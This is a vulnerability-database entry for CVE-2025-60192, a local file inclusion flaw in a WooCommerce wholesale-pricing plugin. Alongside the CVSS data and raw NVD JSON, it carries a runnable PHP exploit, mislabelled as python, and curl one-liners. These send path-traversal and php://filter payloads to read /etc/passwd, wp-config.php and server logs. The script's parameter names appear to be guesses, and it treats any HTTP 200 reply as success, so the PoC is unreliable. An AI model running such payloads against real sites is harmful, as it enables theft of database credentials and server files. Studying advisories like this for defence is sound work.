Security Vulnerability Report
中文
CVE-2025-60192 CVSS 7.5 HIGH

CVE-2025-60192

Published: 2025-11-06 16:16:04
Last Modified: 2026-04-27 17:16:29

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Premmerce Premmerce Wholesale Pricing for WooCommerce premmerce-woocommerce-wholesale-pricing allows PHP Local File Inclusion.This issue affects Premmerce Wholesale Pricing for WooCommerce: from n/a through <= 1.1.10.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Premmerce Wholesale Pricing for WooCommerce <= 1.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60192 PoC - Premmerce Wholesale Pricing LFI * Target: Premmerce Wholesale Pricing for WooCommerce <= 1.1.10 * Type: Local File Inclusion * Usage: Modify target URL and run */ $target = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; $plugin_path = '/wp-content/plugins/premmerce-woocommerce-wholesale-pricing/'; // Common vulnerable parameters $vulnerable_params = [ 'file' => '../../../../../../etc/passwd', 'controller' => '../../../wp-config.php', 'template' => '../../../../../../var/log/apache2/access.log', 'view' => 'php://filter/convert.base64-encode/resource=../wp-config.php' ]; foreach ($vulnerable_params as $param => $payload) { echo "[*] Testing parameter: {$param} with payload: {$payload}\n"; $data = [ 'action' => 'premmerce_wholesale_pricing_ajax', $param => $payload ]; $ch = curl_init($target); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Potential LFI found via {$param}!\n"; echo "Response length: " . strlen($response) . " bytes\n"; } } echo "\n[*] Manual testing commands:\n"; echo "curl '{$target}' -d 'action=premmerce_wholesale_pricing_ajax&file=../../../../../../etc/passwd'\n"; echo "curl '{$target}' -d 'action=premmerce_wholesale_pricing_ajax&file=php://filter/convert.base64-encode/resource=../wp-config.php'\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60192", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:04.233", "lastModified": "2026-04-27T17:16:28.713", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Premmerce Premmerce Wholesale Pricing for WooCommerce premmerce-woocommerce-wholesale-pricing allows PHP Local File Inclusion.This issue affects Premmerce Wholesale Pricing for WooCommerce: from n/a through <= 1.1.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/premmerce-woocommerce-wholesale-pricing/vulnerability/wordpress-premmerce-wholesale-pricing-for-woocommerce-plugin-1-1-10-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}